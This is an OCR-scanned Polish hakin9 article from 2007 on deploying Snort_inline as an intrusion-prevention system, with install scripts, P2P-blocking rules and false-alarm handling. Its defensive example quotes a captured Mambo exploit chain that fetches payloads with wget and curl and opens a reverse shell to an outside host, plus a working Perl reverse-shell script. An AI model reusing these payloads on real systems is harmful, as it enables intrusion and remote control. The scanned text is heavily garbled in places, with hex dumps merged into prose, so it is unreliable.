0x0060: 6669 6361 7469 6f6e 3a20 506f 7465 6e74 fication:.Potent script/current—attack.sh), Zmienia-
0x0070: 6961 6c6c 7920 4261 6420 5472 6166 6669 ially.Bad.Traffi my odpowiednio wartos¢ zmiennej
0x0080: 635d 205b 5072 696f 7269 7479 3a20 325d c].[Priority:.2] . . .
0x0090: 3a20 7b54 4350 7d20 3130 2e30 2exx 2exx :.{TCP}.10.0.x.x s _ pIsTRO POstepujac zgodnie z in-
0x00a0: xxxx 3a33 3237 3730 202d 3e20 3231 372e xx:32770.->.217. strukcjami w skrypcie.
0x00b0: 3136 302e xxxx xx2e xxxx 3a38 3038 310a 160.ccc.cc:8081. Ustawiamy tutaj deb w przypad-

\ ku Debiana bgdz “fc20” “fc30” “fc40”
“fc560” w przypadku odpowiednich
wersji Fedory.

Jako wartos¢ zmiennej sa

Listing 9. OdpowiedZ serwera na pytanie o tozsamo$¢ uzytkownika

11:12:56.791930 IP 10.0.x.x.32770 > 217.160.c.c.8081: P 1:40(39) ack 1 . L.
win 5840 pIr _rooT Ustawiamy petng $ciezke
<nop, nop, timestamp 454607 3169841954> do miejsca, w ktore pobierane be-
0x0000: 4500 005b 6£63 4000 4006 f4c6 0a00 0078 E..[ocR.Q...... x da pakiety i skrypty do implementa-
0x0010: d%a0 f25a 8002 1£f91 231c 80d0 6dd5 df65 ...Z....#...m..e CJ' Snorta_ Domyé|nq é(nequ jest tu
0x0020: 8018 16d0 a26a 0000 0101 080a 0006 efcf ..... Jeen Jroot/snortattack.
0x0030: bcef £322 7569 643d 3028 726f 6£74 2920 ..."uid=0(root). . ..
0x0040: 6769 643d 3028 726f 6£74 2920 6772 6£75 gid=0(root).grou UStaWIamy wartosc¢ JQZyka (WJfO_
0x0050: 7073 3d30 2872 6f6f 7429 0a ps=0(root) . ski badz angielski): LANG - ita. Do-

mys$lnie wybrany jest wioski.
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Rysunek 5. Obraz ekranu ze SRRAM

Po zakonczeniu zmian w current-
attack.sh uruchamiamy skrypt za po-
mocg nastepujacego polecenia:

> sh current-attack.sh

System pobierze skrypty oraz pakie-
ty niezbedne do zakonczenia proce-
su instalacji do katalogu zdefiniowa-
nego w sa _pir _roor. Wewnatrz te-
go katalogu zmienimy skrypt fast_in-
line.sh, ktéry w petni automatyzuje
instalacje Snorta.

Aby instalacja przebiegta po-
prawnie musimy ustawi¢ troche
parametrow, ktére fast_inline wy-
korzysta do skonfigurowania urza-
dzenia:

* sa_DIR_ROOT — petna Sciezka do
miejsca, w ktére pobrane zostaty
pakiety i skrypty,

» wmysorpwp — hasto konta root w ba-
zie mysql,

* wmysorpws — hasto konta snort w
bazie mysq|,

« 1p—adres IP, ktéry chcemy przy-
pisa¢ urzadzeniu,

* NETMASK — maska sieci, ktorg
chcemy przypisa¢ urzadzeniu,

* cw — adres bramy, ktéry chcemy
przypisac urzadzeniu,

* neTWORK — Sie€, do ktdrej nalezy-
my,

* BrROADCAST — warto$¢ adresu roz-
gtaszania,

* pns — gtowny serwer DNS,

+ uwomenET — OKresla tak zwang sie¢
zaufang. Wartosci w zmiennej
oddzielone sg przecinkami.

hakin9 Nr 1/2007

Zmienne wymienione ponizej usta-
wione sg domysinie tak, by auto-
matycznie przeprowadzi¢ wszystkie
operacje niezbedne do zainstalowa-
nia Snorta. Przyjrzyjmy sie pokrotce,
co robig:

» sa_uepate — funkcja ta dokonuje
importu listy (sources.list w przy-
padku Debiana, yum.conf w przy-
padku Fedory) i aktualizuje sys-
tem,

* sa_Dpeps — pobiera i instaluje za
pomoca menedzera pakietéw
(apt pod Debianem, yum pod Fe-
dorg) pakiety wymagane przez
Snorta,

* SA_EXTRACT — pobiera i rozpako-
wuje pakiety tar.gz, ktérych Snort
wymaga do poprawnego dziata-
nia,

* sa_wmysoL — konfiguruje serwer
mysql z podanymi wczes$niej ha-
stami, importuje baze danych
Snorta oraz ustawia wymagane
uprawnienia,

* sa_1nsTaLL — kompiluje elementy
wymagane przez Snorta, tworzy
katalogi na pliki dziennika, insta-
luje BASE, w razie potrzeby two-
rzy link do jadra itd.,

* sa_1NLINE — kompiluje Snort_in-
line,

* sa_RreporT — instaluje Snort Re-
port,

* sa_ pracip — instaluje Placid,

* SA_ SNORT _conr — ustawia w pliku
konfiguracyjnym Snorta podane
wczeséniej wartosci (sie¢ domo-
wa, hasto itd.),

www.hakin9.org

* sa_auto — powoduje uruchamia-
nie Snorta przy starcie systemu,

 sa_ et — konfiguruje interfejsy
Ethernet,

* sa_ser script — tworzy skrypt
uruchamiajacy okreslong wersje
Snorta (klasycznag badz Snort_in-
line) z podanymi wczes$niej para-
metrami (ip, brama, maska, sie¢
itd.),

* sa_sTarT — pozwala uruchomié
Snorta po zakonczeniu instalacji,

* sa_EMaIL — umozliwia wystanie
informacji do zespotu Snortat-
tack, celem przekazania pozy-
tywnych badz negatywnych opi-
nii na temat instalacji przy uzyciu
fast_inline.sh.

Po zakonczeniu instalacji nalezy zre-
startowaé komputer.

Jezeli chodzi o skrypt fast_uti-
lity, jest to nowy, interaktywny twor
upraszczajacy typowe operacje wy-
konywane na urzadzeniach IPS, jak
na przyktad:

* zmiane adresu IP mostka,

« restart snorta,

» aktualizacje regut,

» tworzenie kopii zapasowej alar-
mow i czyszczenie bazy danych,

» odnotowywanie fatszywych alar-
mow,

* zmiane sieci domowej,

* zmiane rodzaju sieci (LAN DMZ
MISTA),

* zmiane hasta roota, itd.

Listing 11. Zalecana
konfiguracja w httpd.conf oraz
my.cnf

httpd.conf:
MinSpareServers 3
MaxSpareServers 6
StartServers 1
MaxClients 15
MaxRequestsPerChild 10

my.cnf :

key buffer = 4M
max_allowed packet = 4M
thread_stack = 32K
query cache limit = 104857
query cache size = 1677721
query_cache_type =1
max_allowed_packet = 4M

key buffer = 4M




Tu wpisujemy top, zawsze, w kazdym artykule

Jest zaprojektowany tak, by mogt
by¢ réwniez wykorzystywany jako
aplikacja konsolowa, a ponadto jest
uruchamiany przy kazdym logowa-
niu sie roota.

Jezeli niektére z wymienionych
powyzej zmiennych nie sg usta-
wione w fast_inline, oznacza to ze
nie sg one niezbedne do dziata-
nia skryptu. Sugerujemy uaktyw-
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Rysunek 6. Stworzone przez pmgraph tabele przedstawiajgce wydajno$¢

Snorta

nienie domyslnie zmiennej zarza-
dzajacej funkcjami. Wiecej infor-
macji znalezé mozna w podrecz-
niku uzytkownika na www.snor-
tattack.org.

Praktyczne przykiady
Wymienmy teraz kilka technik ata-
ku, ktére Snort_inline moze za-
uwazy¢ za pomoca regut i prepro-
cesorow.

Celem analizowanego tutaj ataku
jest kompromitacja serwera i zata-
dowanie eksploita wykorzystujgce-
go luke w Mambo<= 4.0.11. W przy-
padku tym pakiety pobrane zostaty z
logéw Apache'a, jak pokazuje to Li-
sting 7.

Powyzsza sekwencja pozwala
zatadowac i uruchomic¢ cmd.txt

Ponizej znajdziecie ja w czytel-
niejszej formie:

cd /tmp; \
wget 216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
wget 216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
cd /var/tmp; \
curl -o cback http://
216.99.b.b/cback;
chmod 744 cback; \
./cback 217.160.c.c 8081; \
curl -o dc.txt http://
216.99.b.b/dc.txt;
chmod 744 dc.txt; \
perl dc.txt 217.160.c.c 8081;
echo YYY;echo|

A oto zawarto$é cmd.txt:

#!/usr/bin/perl
use Socket;
use FileHandle;
$SIP = SARGV[O0];
$PORT = $ARGV[1];
socket (SOCKET,
PF_INET, SOCK_STREAM,
getprotobyname ('tcp')) ;
connect (SOCKET,
sockaddr_in
($PORT, inet aton($IP)));
SOCKET->autoflush () ;
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open (STDIN, ">&SOCKET");
open (STDOUT, ">&SOCKET") ;
open (STDERR, ">&SOCKET") ;
system("id;pwd;uname -a;w;

HISTFILE=/dev/null /bin/sh -i");

Nalezy odnotowac, ze celem powyz-
szych polecen jest odkrycie, kto-
ry uzytkownik w systemie urucha-
mia Mambo. Szybka reakcja serwe-
ra nan przedstawione jest na Listin-
gu 8.

Jezeli zatem Mambo posiada
przywileje roota, mozemy przez od-
kryta luke uruchamiaé skrypty. Re-
akcje Snorta na taki przypadek
przedstawia Listing 9.

W dziedzinie badan naukowych
okre$lenie phishing opisuje stu-
dium stabo znanego zagadnienia
przeprowadzone bez $cisle okre-
slonego celu: oznacza losowe po-
Szukiwanie, podobnie do rybaka
zarzucajgcego sie¢ z nadziejg zta-
pania kilku ryb. Znaczenie to po-
chodzi z 1990 roku.

Phishing w informatyce to tech-
nika inzynierii spotecznej pozwala-
jaca na uzyskanie dostepu do oso-
bistych i poufnych danych, co po-
zwoli¢ ma na kradziez tozsamosci
uzytkownika, za pomoca fatszy-
wych wiadomosci e-mail (jak row-
niez innych socjotechnicznych tri-
kéw) skonstruowanych tak, by wy-
dawaty sie autentyczne. Uzytkow-
nik zwiedziony takimi wiadomo-
Sciami ujawni¢ moze swoje 0so-
biste dane, jak na przyktad numer
konta bankowego, nazwe i hasto
uzytkownika, numer karty kredy-
towej itp.

Opierajac sie na definicji za-
wartej w Wikipedii opiszemy meto-
de pozwalajgca na rozwigzanie te-
go problemu. Przedstawimy wspo-
mniane juz wczesniej, bardzo uzy-
teczne narzedzie, jakim jest pre-
procesor Clamav, zintegrowany z
dystrybucjami Snort_inline. Zasa-
da dziatania tego preprocesora wy-
daje sie by¢ bardzo prosta, jednak
o ile nie jest on poprawnie skonfigu-
rowany jest on bezuzyteczny. Pre-
procesor Clamav korzysta z dbdir

hakin9 Nr 1/2007

Clamava jako zbioru regut prze-
chwytywania dla Snorta, pozwala-
jac na uzycie w przypadku pozy-
tywnego rozpoznania akcji drop.
Niezmiernie wazne jest state dba-
nie o aktualnos¢ definicji Clama-
va (dbdir). Warto przy okazji wspo-
mniec¢, ze preprocesor ten nie spet-
nia wszystkich wspomnianych po-
wyzej regut — jedynie phishing badz
wirusy, ktére nie sg zaszyfrowane
ani spakowane.

Niezaleznie od powyzszego ja-
sne jest, ze preprocesor ten jest
idealny do blokowania atakow phi-
sherow — wiadomosci ich sg bo-
wiem pisane otwartym, zrozumia-
tym tekstem. Konfiguracje tego ro-
dzaju sieci omowimy w nastepnym
akapicie.

Jak wszyscy dobrze wiemy w pry-
watnych sieciach intensywnie operu-
ja programy peer to peer.

Najpopularniejszymi klientami do
pobierania w ten sposéb plikdw sa:
Emule, Bittorrent, Gnutella, Kazaa,
Soulseek.

Najpowszechniej stosowanymi
przez tych klientéw protokotami sa:

» bittorrent (wykorzystywany przez
klienta bittorrent)

» eDonkey (wykorzystywany przez
klienta emule)

» fastrack (wykorzystywany przez
klienta Kazaa)

* Gnutella (wykorzystywany przez
klienta Gnutella)

* Soulseek (wykorzystywany przez
klienta Soulseek)

Celem zablokowania tego rodzaju
klientow peer to peer nalezy uak-
tywni¢ nastepujace zbiory regut:
bleeding-p2p oraz p2p. Pliki te (/
etc/snort inline/rules/bleeding-
.../p2p.rules) zawie-
rajg wszystkie najnowsze reguty

p2p.rules

e
W Sieci

http://www.snort.org — Snort

*  http://fedora.redhat.com - Fedora
*  http://www.debian.org — Debian

*  http://www.clamav.net — Clamav

*  http://snort-inline.sourceforge.net -Snort_inline

*  http://secureideas.sourceforge.net - Base

»  http://speakeasy.wpi.edu/placid - Placid

*  http://oinkmaster.sourceforge.net - Oinkmaster

»  http://sourceforge.net/projects/srram - Srram

»  http://people.su.se/~andreaso/perfmon-graph - Pmgraph

*  http://www.mamboserver.com - Mambo

»  http://www.bleedingsnort.com - Bleedingsnort
*  http://www.snortattack.org — Snortattack

P
O autorach

nacatym Swiecie.
Odwiedz: www.snortattack.org!

Pierpaolo Palazzoli pracuje w branzy bezpieczenstwa, jest absolwentem inzy-
nierii telekomunikacji na Politechnice Mediolanskiej we Wtoszech. Pracuje nad
Snortem od pieciu lat. Matteo Valenza pracuje w sektorze IT jako administra-
tor systemoéw, pracuje nad Snortem od roku. Rezultatem wspoétpracy i wymia-
ny wiedzy pomiedzy Matteo a Pierpaolo jest snortattack.org. Serwis pojawit sie
w sieci sze$¢ miesiecy temu, zespot zapoczatkowat go jednak przed dwoma la-
ty. Jego gtéwnym atutem jest dokumentacja uzytkownika oraz skrypty instala-
cyjne dla Snorta, napisane po wtosku i angielsku. Dostepne jest takze aktyw-
ne forum dyskusyjne oraz lista mailingowa. Pierpaolo i Matteo planujg stworzyc¢
dzieki snortattack.org Grupe uzytkownikéw Snorta, celem ktérej ma by¢ wymia-
na idei zwigzanych z programem pomiedzy jego uzytkownikami we Wtoszech i
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Tu wpisujemy top, zawsze, w kazdym artykule

pozwalajace na ochrone sieci przed
wykorzystaniem przez szkodliwe
programy p2p, ktére jak wiemy w
zdecydowanej wiekszosci przy-
padkéw wysycajg cate dostepne ta-
cze. Nalezy sprawdzié, czy zmien-
na HOMENET w pliku snort_inli-
ne.conf definiuje sie¢, ktérg chce-
my chroni¢ przed takimi klientami.

Reguty tego rodzaju podzielone
sg wedtug rodzaju dziatania. | tak,
mamy na przyktad:

*  Wyszukiwanie plikbw w sieci
eDonkey:

drop udp $HOME NET any ->
$EXTERNAL NET 4660:4799
(msg: "BLEEDING-EDGE P2P
eDonkey Search"; content:
"|e3 Oe|";
offset: 0; depth: 2;
rawbytes;classtype:
policy-violation; reference:url,
www.edonkey.com;

sid: 2001305; rev:3; )
* Ruch bittorrent:

drop tcp $HOME NET any ->
SEXTERNAL NET any (msg:
"BLEEDING-EDGE P2P
BitTorrent Traffic";
flow:
established;
content:
"100004009070000001(";
offset: 0; depth: 8;
reference:
url,bitconjurer.org/BitTorrent/
protocol.html;
classtype: policy-violation;

sid: 2000357; rev:3; )
+ Zadanie od klienta Gnutelli:

drop tcp $HOME NET any ->
SEXTERNAL NET any (msg:
"P2P GNUTella client request";
flow:to_server,established;
content:
"GNUTELLA"; depth:8;
classtype:policy-violation;

s1d:1432; rev:6;)

Jezeli chce sie blokowac protoko-
ty transferu plikéw nalezy uwaz-

nie wybra¢ z ww. plikéw odpowied-
ni protokét, a co za tym idzie odpo-
wiednie dziatanie. Nie zawsze daje
sie catkowicie zatrzymac ruch ge-
nerowany przez klienta p2p, w rze-
czy samej, testy pokazaty ze pro-
gram Emule nie jest w stanie za-
blokowaé¢ sieci kad, podczas gdy
bittorrenta ogranicza jedynie wy-
korzystanie tgcza. Chociaz wspo-
mniane tu rozwigzanie nie zdota
catkowicie zablokowa¢ tych pro-
gramoéw, wigczenie ww. regut ge-
nerowa¢ bedzie regularne proble-
my, ktére moga zniecheci¢ uzyt-
kownikéw aplikacji do wymiany pli-
kow.

Detekcja fatszywych
alarmow: podejscie
systematyczne

Teraz stworzymy metode wykrywa-
jaca fatszywe alarmy. Opiszemy tu-
taj trzy rézne scenariusze:

« falszywe alarmy przy korzystaniu
z WWW

« falszywe alarmy przy zatrzyma-
nej poczcie

* o0g06lne fatszywe alarmy
WWW i nie poczta)

(nie

W pierwszym przypadku musimy
znaé adres zrodiowy hosta, ktérego
dotknat problem, a nastepnie, za po-
mocg podstawowego interfejsu sie-
ciowego i wykorzystujac funkcje wy-
szukiwania (wybrawszy kryterium ip
i wpisawszy adres w okragtych na-
wiasach) znajdujemy go w powiado-
mieniach.

Znalaztszy fatszywy alarm (ktéry
spowodowat odrzucenie) mamy do
wyboru dwa mozliwe rozwigzania:

* wytaczenie regut, ktére go spo-
wodowaty,

* dodanie zrédiowego adresu
IP do zmiennej w pliku snort
inline.conf okreslajaca sie¢ do-
mowa.

Dzieki narzedziu pmgraph mozemy
Sledzi¢ statystyki ruchu na i wydaj-
nosci urzadzenia. Interesujgca jest
tabela reprezentujgca obcigzenie
procesora, ktére mogto powodowaé
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fatszywe alarmy (w przypadku ob-
cigzen wiekszych niz 70%), ktorych
nie wytapat BASE.

Kolejng istotng informacjg przy
wyszukiwaniu fatszywych alarméw
jest liczba atakéw na sekunde. Je-
zeli znajdziemy w tej tabeli wartosci
wieksze niz 15 na sekunde, mamy do
czynienia z jednym z dwoch poniz-
szych przypadkow:

* A —fatszywy alarm;
« B - atak wymierzony w host w
sieci.

Najbardziej przydatna jest tworzona
przez silnik bezpieczenstwa tabela
reprezentujgca zablokowane tresci.
Dzieki BASE mamy mozliwosc¢ ogla-
dania szczegotow atakéw, zas opcja
plain text jest bardzo przydatna przy
przegladaniu przechwyconego ru-
chu w formacie ASCII.

Nie jest mozliwe ogladanie
przez interfejs WWW wykorzysta-
nia pamieci (chyba, ze zainstaluje-
my w naszym systemie mrtg). Jest
to szczegdlnie wazne w przypad-
kach, gdy chcemy uruchomi¢ duzg
liczbe regut. Aby zapobiec awariom
naszej maszyny badz generowa-
niu fatszywych alarméw, zalecamy
optymalizacje regut oraz demonéw
takich jak Apache czy mysql (patrz
Listing 10).

Podsumowanie
Podsumowujac, Snort_inline to
efektywny sposdb na stawienie
czota szczegdlnie niebezpiecznym
srodowiskom sieciowym. Wpraw-
dzie nie odpowiedz na wszelkie zto,
ale jest to dobrze utozona aplikacja
bezpieczehstwa — jezeli zostata za-
implementowana wedle danych po-
trzeb.

W przypadku Snorta reguta mo-
wigca, ze “wigczenie wszystkiego
czyni nasz komputer bezpieczniej-
Sszym”, nie ma zastosowania — kaz-
da bowiem reguta moze bowiem ge-
nerowac¢ fatszywe alarmy, blokujace
niewinny ruch w sieci badz generuja-
ce inne problemy. ®
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